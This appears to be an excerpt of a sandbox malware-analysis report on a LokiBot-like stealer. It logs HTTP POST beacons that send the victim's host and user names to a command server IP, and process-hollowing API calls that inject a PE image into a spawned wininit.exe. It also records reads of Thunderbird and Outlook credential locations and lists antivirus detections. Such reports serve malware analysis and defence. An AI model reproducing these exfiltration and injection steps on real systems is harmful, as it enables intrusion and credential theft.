4중ʚ”3W2ió9Œ/ˆ2X§æžB¥è3‡´Ê/iˆ3Rq¨¡3\R4iÍ3Ö.6iÂ할¼.ˆ5z ÐÒ¡6t¥;—°ê¸œ~K›ï—¤Ž.píw.Ä»“io¶µ Êûvo'm¤IPïAc3ĒÕ.¡½;_tçXàŸ7B¡;‹hi‘Iygôy-/„lùD—ò]r_cu(öxe5/ÙhÆþú8MäüÿmžŒûMb[iƒZ†Åлgok¢õJÔJΓ“ã“¨Ý)vì;~µŽ¥)è1rÔ½o<ZÚ¾Ð/õ¨®Ÿ:Z˯ô9<;™ÈOVÐ*ä-_*ށÐ5䪛(r¯Y5ÓOÅÑzÆj¤°{.OC$SPòy0O(“ç *pƒœy¤ÞÈg‘#S8È|õáA(®&m­ŽÞ%y">FZ™ :݌kNl!S:¥’½ ˆ¬Q5ú Käˆêr±?´>J•G/d‰¤…lug¿Œç~m©ÖñSTf—)xâ{3b|£å§V-nõ/Äãš0UŽæûDÜàWcéŠÂ2}ô\Æy—Mf¤H_!>©+ÈG ïÊpwô§âÌW{-1ʀ2;þ± _n ç\Zu28\Û9n4@ºN³ÕB|мïN¥}û§¬-±ã·)™{lÍØg<EcMZµƒŒj$­-i[•~O›z'uRÆ}d¼KØcù_S´úeÖ¬ƒÐK«×}9Þlx¾&wgh_ý&½Ñ©½‰^Ê~GRéTêvPD÷1Âáp"þWR¹2¹ÓÅ”AËO´û ÈvOm£ä:FýôS'qlÓRu²Ç~¡7Ôm5©³ \"½ ,ÒÙ$ê‰cozMxÄlkÓHø´ê2%dùº¯˜Bc0âjâÊ-:Ñêº1"_XÚ1~f4F¿2ÞDY]ó
socket: 428
sent: 3718
1 3718 0

connect

 ip_address: 185.227.139.18
socket: 448
port: 80
1 0 0

send

 buffer: POST /dsaicosaicasdi.php/S4wFP8QBww9Tp HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.227.139.18 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66C34C30 Content-Length: 186 Connection: close
socket: 448
sent: 259
1 259 0

send

 buffer: 'ckav.ru test22TEST22-PCtest22-PCÆ+086627BC41D896D6F4DE8430FKeliz
socket: 448
sent: 186
1 186 0

connect

 ip_address: 185.227.139.18
socket: 448
port: 80
1 0 0

send

 buffer: POST /dsaicosaicasdi.php/S4wFP8QBww9Tp HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.227.139.18 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66C34C30 Content-Length: 159 Connection: close
socket: 448
sent: 259
1 259 0

send

 buffer: (ckav.ru test22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F
socket: 448
sent: 159
1 159 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2900
process_handle: 0x00000250
1 1 0

WriteProcessMemory

 buffer: ™TÍ<¨‡K¢`ˆˆÝ;U
base_address: 0x0041a000
process_identifier: 2900
process_handle: 0x00000250
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2900
process_handle: 0x00000250
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2900
process_handle: 0x00000250
1 1 0
file C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
registry HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird\78.4.0 (ko)\Main
registry HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
Process injection Process 2472 called NtSetContextThread to modify thread in remote process 2900
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000248
process_identifier: 2900
1 0 0
Process injection Process 2472 resumed a thread in remote process 2900
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000248
suspend_count: 1
process_identifier: 2900
1 0 0
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2472
1 0 0

NtResumeThread

 thread_handle: 0x0000014c
suspend_count: 1
process_identifier: 2472
1 0 0

NtResumeThread

 thread_handle: 0x00000190
suspend_count: 1
process_identifier: 2472
1 0 0

NtResumeThread

 thread_handle: 0x00000248
suspend_count: 1
process_identifier: 2472
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 2472
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtSetContextThread

 registers.eip: 1947216772
registers.esp: 3925184
registers.edi: 170945056
registers.eax: 3211369
registers.ebp: 3925188
registers.edx: 170949952
registers.ebx: 45395
registers.esi: 42947
registers.ecx: 171040760
thread_handle: 0x000000e0
process_identifier: 2472
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 2472
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 2472
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 2472
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 2472
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 2472
1 0 0

CreateProcessInternalW

 thread_identifier: 2904
thread_handle: 0x00000248
process_identifier: 2900
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\wininit.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\wininit.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000250
1 1 0

NtGetContextThread

 thread_handle: 0x00000248
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2900
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000250
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2900
process_handle: 0x00000250
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2900
process_handle: 0x00000250
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00415000
process_identifier: 2900
process_handle: 0x00000250
1 1 0

WriteProcessMemory

 buffer: ™TÍ<¨‡K¢`ˆˆÝ;U
base_address: 0x0041a000
process_identifier: 2900
process_handle: 0x00000250
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x004a0000
process_identifier: 2900
process_handle: 0x00000250
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2900
process_handle: 0x00000250
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000248
process_identifier: 2900
1 0 0

NtResumeThread

 thread_handle: 0x00000248
suspend_count: 1
process_identifier: 2900
1 0 0

NtResumeThread

 thread_handle: 0x00000110
suspend_count: 1
process_identifier: 2900
1 0 0
MicroWorld-eScan Trojan.GenericKD.46620531
FireEye Generic.mg.7b68b43f14bff45a
McAfee RDN/Generic.grp
Cylance Unsafe
Sangfor Riskware.Win32.Agent.ky
Cyren W32/MSIL_Kryptik.EUC.gen!Eldorado
Symantec Trojan.Gen.9
ESET-NOD32 a variant of MSIL/Kryptik.ABXY
APEX Malicious
Paloalto generic.ml
Kaspersky HEUR:Backdoor.MSIL.NanoBot.gen
BitDefender Trojan.GenericKD.46620531
Avast Win32:PWSX-gen [Trj]
Tencent Win32.Backdoor.Fareit.Auto
Ad-Aware Trojan.GenericKD.46620531
Sophos Mal/Generic-S
Comodo TrojWare.Win32.Agent.uqfqx@0
DrWeb Trojan.PackedNET.924
McAfee-GW-Edition Artemis!Trojan
Emsisoft Trojan.Crypt (A)
Ikarus Trojan-Spy.Win32.Lokibot
Avira TR/AD.LokiBot.kaoup
Kingsoft Win32.Hack.Undef.(kcloud)
Microsoft Trojan:Win32/Woreflint.A!cl
GData Win32.Trojan-Stealer.LokiBot.NGWKCK
Cynet Malicious (score: 100)
BitDefenderTheta Gen:NN.ZemsilF.34796.1m0@aCH0rBh
MAX malware (ai score=100)
Malwarebytes MachineLearning/Anomalous.97%
SentinelOne Static AI - Malicious PE
MaxSecure Trojan.Malware.300983.susgen
Fortinet MSIL/Kryptik.DLO!tr
AVG Win32:PWSX-gen [Trj]
Panda Trj/RnkBend.A
CrowdStrike win/malicious_confidence_80% (W)
Qihoo-360 Win32/Trojan.LokiBot.HwMAkOUA